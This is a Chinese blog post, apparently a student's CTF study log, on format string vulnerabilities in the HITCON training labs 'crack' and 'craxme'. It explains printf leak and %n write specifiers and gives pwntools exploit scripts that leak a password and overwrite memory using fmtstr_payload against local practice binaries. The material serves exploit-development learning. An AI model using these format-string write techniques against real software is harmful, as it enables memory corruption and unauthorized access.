标签:import format libc sys 栈溢出 dap com pytho put
目录
练习Hitcon的第四天??,愉快地学习fsb(Format string bug),格式化字符串漏洞。
好??,这题开始接触格式化字符串漏洞。
什么是格式化字符串漏洞?我们知道c/c++中
printf
函数输出值需要对应的参数,但当提供的参数出现问题,或者没有提供参数的时候,格式化字符串漏洞就可能出现了。CTF-wiki传送门那么假设,此时我们在编写程序时候,写成了下面的样子
printf("Color %s, Number %d, Float %4.2f");
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
- 解析其地址对应的字符串
- 解析其内容对应的整形值
- 解析其内容对应的浮点值
由此可见格式化字符串漏洞主要是:
1.泄漏任意地址的值,leak内存(比如leak出libc基地址)
2.写任意地址,可用于修改got表
这部分来自icemakr的博客 ==>向大佬致敬
32位
读
'%{}$x'.format(index) // 读4个字节
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)
写
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
64位
读
'%{}$x'.format(index, num) // 读4个字节
'%{}$lx'.format(index, num) // 读8个字节
'%{}$p'.format(index) // 读8个字节
'${}$s'.format(index)
写
'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD
按套路来,先
checksec crack
:可以看到开启了栈溢出保护(canary found),以及栈不可执行(NX)措施,很明显让我们从别处入手。
简单运行一下:
我们需要输入两个值,一个是name,输入之后会被打印,一个是password。
m4x师傅的逻辑:
输出 name 时有明显的格式化字符串漏洞,这个题的思路有很多,可以利用 fsb 改写 password,或者 leak 出 password,也可以直接通过 fsb,hijack puts_got 到 system(“cat flag”) 处(注意这里 printf 实际调用了 puts)
。
idapro启动!!启动!!给我启动啊!!??!main函数:
简单测试一下我们可以看到一些有趣的东西,这些应该是
printf
栈中的数据,那么我们只要找到栈中存储我们输入的内容的位置,假如输入的是某地址,再用%s解析就可获得该地址下的内容:可以看到输入的内容在栈中的第十个位置,这里学到一个小知识,
%10$s
中格式化字符串的“$”操作符,其允许我们从格式化字符串中选取一个位置的参数作为特定的参数。我们可以从IDA中得到password_addr=0x804A080
,然后构造EXP。
#coding:utf-8
from pwn import *
from libnum import n2s
context.log_level = "debug"
io = process('./crack')
pwd_addr= 0x804A048
io.recvuntil(' ?')
io.sendline(p32(pwd_addr) + "|%10$x||")
io.recvuntil('|')
#drop = True 表示丢弃pattern,不接受pattern
pwd = str(u32(io.recvuntil('||',drop = True)))
io.sendlineafter(" :",pwd)
io.interactive()
io.close()
运行效果:
简单了解fmtstr之后,知道原来还有这么骚的pwntools模块,这里简单对这个exp做个分析理解。
#来自Veritas501大佬的exp
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()
运行效果:
这也是一题格式化字符串漏洞??,我们可以直接通过类似上面题exp2的方式来修改值达到目的。
checksec craxme
:可以看到几乎所有保护措施都打开,无法通过栈溢出或者栈执行等漏洞进行攻击。
像lab7一样,我们可以在ida里面看到有格式化字符串漏洞:
我们可以运行一下试试
可以看到在printf函数栈中第七个位置是我们输入的内容,那么我们就可利用pwntools的fmtstr_payload来改变magic的值。
通过ida找到magic的地址:
通过Pwntools.ELF:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
magicAddr = ELF("./craxme").sym["magic"]
inputs = int(input("[+]1.flag\n[+]2.craxflag\ninput:"))
if inputs == 1:
payload = fmtstr_payload(7, {magicAddr: 0xda})
else:
payload = fmtstr_payload(7, {magicAddr: 0xfaceb00c})
io = process("./craxme")
io.sendlineafter(" :", payload)
io.interactive()
io.close()
运行效果:
今天的格式化字符串漏洞就学到这儿啦,难受??。
标签:import format libc sys 栈溢出 dap com pytho put
原文地址:https://www.cnblogs.com/yof3ng/p/9857205.html